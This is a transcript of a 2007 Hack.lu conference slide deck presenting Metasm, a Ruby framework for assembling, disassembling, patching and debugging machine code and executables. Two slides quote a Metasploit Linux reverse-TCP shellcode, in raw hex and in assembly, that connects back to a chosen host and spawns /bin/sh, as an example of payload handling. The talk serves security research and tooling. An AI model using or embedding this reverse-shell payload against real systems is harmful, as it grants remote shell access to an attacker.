metasm
play

Metasm a ruby (dis)assembler Yoann Guillot 20 october 2007 Metasm - PowerPoint PPT Presentation

Metasm a ruby (dis)assembler Yoann Guillot 20 october 2007 Metasm Demonstrations Presentation I am Yoann Guillot I work for Sogeti/ESEC in the security R&D lab Metasm HACK.LU 2007 2 / 23 Architecture overview Assembly Disassembly


  1. Metasm a ruby (dis)assembler Yoann Guillot 20 october 2007

  2. Metasm Demonstrations Presentation I am Yoann Guillot I work for Sogeti/ESEC in the security R&D lab Metasm HACK.LU 2007 2 / 23

  3. Architecture overview Assembly Disassembly Metasm Executable file handling Demonstrations C compiler Live process interaction Use cases Metasploit 3 Plan 1 Metasm Architecture overview Assembly Disassembly Executable file handling C compiler Live process interaction Use cases Metasploit 3 2 Demonstrations Metasm HACK.LU 2007 3 / 23

  4. Architecture overview Assembly Disassembly Metasm Executable file handling Demonstrations C compiler Live process interaction Use cases Metasploit 3 Introduction Metasm is a full-Ruby standalone framework To manipulate machine code (static or dynamic) Multi-CPU (Ia32/MIPS for now) Multi-OS (Windows/Linux) distributed under the open-source LGPL license http://metasm.cr0.org/ still under heavy developpement Metasm HACK.LU 2007 4 / 23

  5. Architecture overview Assembly Disassembly Metasm Executable file handling Demonstrations C compiler Live process interaction Use cases Metasploit 3 Architecture overview Metasm HACK.LU 2007 5 / 23

  6. Architecture overview Assembly Disassembly Metasm Executable file handling Demonstrations C compiler Live process interaction Use cases Metasploit 3 Assembly EncodedData represents a relocatable binary string binary data arbitrary relocations exports virtual size used to dissociate assembly from linking Metasm HACK.LU 2007 6 / 23

  7. Architecture overview Assembly Disassembly Metasm Executable file handling Demonstrations C compiler Live process interaction Use cases Metasploit 3 Assembly mov eax, dword ptr [toto] Metasm HACK.LU 2007 7 / 23

  8. Architecture overview Assembly Disassembly Metasm Executable file handling Demonstrations C compiler Live process interaction Use cases Metasploit 3 Disassembly simple yet powerful backtracking engine emulates standard CPU instructions follows precisely code flow currently unfinished trace data access handle subfunctions handle external API calls minimal arch-specific developpement Metasm HACK.LU 2007 8 / 23

  9. Architecture overview Assembly Disassembly Metasm Executable file handling Demonstrations C compiler Live process interaction Use cases Metasploit 3 Handling executable files reading from a file directly in memory writing from scratch patch an existing exe currently supported formats: MZ / PE / COFF, ELF / a.out Metasm HACK.LU 2007 9 / 23

  10. Architecture overview Assembly Disassembly Metasm Executable file handling Demonstrations C compiler Live process interaction Use cases Metasploit 3 C Compilation Metasm includes a complete C parser features header filtering basic compiler for Ia32 Metasm HACK.LU 2007 10 / 23

  11. Architecture overview Assembly Disassembly Metasm Executable file handling Demonstrations C compiler Live process interaction Use cases Metasploit 3 Live process interaction String-like process memory abstraction transparent read/write Ruby objects wrap the host OS debug API Metasm HACK.LU 2007 11 / 23

  12. Architecture overview Assembly Disassembly Metasm Executable file handling Demonstrations C compiler Live process interaction Use cases Metasploit 3 When is it useful whenever you want to manipulate machine code or executable files it’s easy to hook/rewrite/customize any internal method Metasm HACK.LU 2007 12 / 23

  13. Architecture overview Assembly Disassembly Metasm Executable file handling Demonstrations C compiler Live process interaction Use cases Metasploit 3 Metasploit 3 - before Metasploit 3 is also written in Ruby it had very bad machine code support hexadecimal static shellcodes hacks to patch the shellcodes with user-specified values more hacks to link stages Metasm HACK.LU 2007 13 / 23

  14. Architecture overview Assembly Disassembly Metasm Executable file handling Demonstrations C compiler Live process interaction Use cases Metasploit 3 Metasploit 3 - before [metasploit3/.../reverse tcp.rb] ’Payload’ => { ’Offsets’ => { ’LHOST’ => [ 0x1a, ’ADDR’ ], ’LPORT’ => [ 0x20, ’n’ ], }, ’Payload’ => "\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66\x58\x89\xe1\xcd\x80\x93\x59" + "\xb0\x3f\xcd\x80\x49\x79\xf9\x5b\x5a\x68\x7f\x00\x00\x01\x66\x68" + "\xbf\xbf\x43\x66\x53\x89\xe1\xb0\x66\x50\x51\x53\x89\xe1\x43\xcd" + "\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53" + "\x89\xe1\xb0\x0b\xcd\x80" } Metasm HACK.LU 2007 14 / 23

  15. Architecture overview Assembly Disassembly Metasm Executable file handling Demonstrations C compiler Live process interaction Use cases Metasploit 3 Metasploit 3 - now [metasploit3/.../reverse tcp2.rb] ’Payload’ => { ’Offsets’ => { ’LHOST’ => [ 0, ’ADDR’ ], ’LPORT’ => [ 0, ’n’ ], }, ’Assembly’ => <<EOS xor ebx, ebx ; @00000000 31db [...] pop edx ; @00000018 5a push LHOST ; @00000019 687f000001 push.i16 LPORT ; @0000001e 6668bfbf [...] push ’//sh’ push ’/bin’ [...] mov al, 0bh ; @00000042 b00b int 80h ; @00000044 cd80 EOS } Metasm HACK.LU 2007 15 / 23

  16. Architecture overview Assembly Disassembly Metasm Executable file handling Demonstrations C compiler Live process interaction Use cases Metasploit 3 Metasploit 3 - now Metasm is now included in Metasploit shellcodes can be in source from standard Metasm relocation handling may be used for shellcode patching/linking ??? Profit ! Metasm HACK.LU 2007 16 / 23

  17. metasm-shell Metasm Exe manipulation Demonstrations Live process interaction Plan 1 Metasm 2 Demonstrations metasm-shell Exe manipulation Live process interaction Metasm HACK.LU 2007 17 / 23

  18. metasm-shell Metasm Exe manipulation Demonstrations Live process interaction metasm-shell metasm-shell adds metasm methods to standard Ruby Strings offers an interactive assembler shell Metasm HACK.LU 2007 18 / 23

  19. metasm-shell Metasm Exe manipulation Demonstrations Live process interaction Exe manipulation reading a MIPS ELF Metasm HACK.LU 2007 19 / 23

  20. metasm-shell Metasm Exe manipulation Demonstrations Live process interaction Exe manipulation reading a MIPS ELF compiling a simple PE [samples/testpe.rb] Metasm HACK.LU 2007 19 / 23

  21. metasm-shell Metasm Exe manipulation Demonstrations Live process interaction Exe manipulation reading a MIPS ELF compiling a simple PE [samples/testpe.rb] patching a PE [samples/pe-hook.rb] Metasm HACK.LU 2007 19 / 23

  22. metasm-shell Metasm Exe manipulation Demonstrations Live process interaction Windows process hooking simple IAT hook [samples/win32hooker.rb] Metasm HACK.LU 2007 20 / 23

  23. metasm-shell Metasm Exe manipulation Demonstrations Live process interaction Windows process hooking full-library hook [samples/win32hooker-advanced.rb] redirect all exported function to a custom hook Metasm HACK.LU 2007 21 / 23

  24. metasm-shell Metasm Exe manipulation Demonstrations Live process interaction Linux debugging ptrace wrapper [samples/rubstop.rb] singlestep, stepover, etc memory access PaX compatible Metasm HACK.LU 2007 22 / 23

  25. metasm-shell Metasm Exe manipulation Demonstrations Live process interaction Linux debugging ptrace wrapper [samples/rubstop.rb] singlestep, stepover, etc memory access PaX compatible UI [samples/lindebug.rb] console-mode only (for now) Metasm HACK.LU 2007 22 / 23

  26. metasm-shell Metasm Exe manipulation Demonstrations Live process interaction Conclusion Thanks for listening Questions ? Metasm HACK.LU 2007 23 / 23

Download Presentation
Download Policy: The content available on the website is offered to you 'AS IS' for your personal information and use only. It cannot be commercialized, licensed, or distributed on other websites without prior consent from the author. To download a presentation, simply click this link. If you encounter any difficulties during the download process, it's possible that the publisher has removed the file from their server.

Recommend


More recommend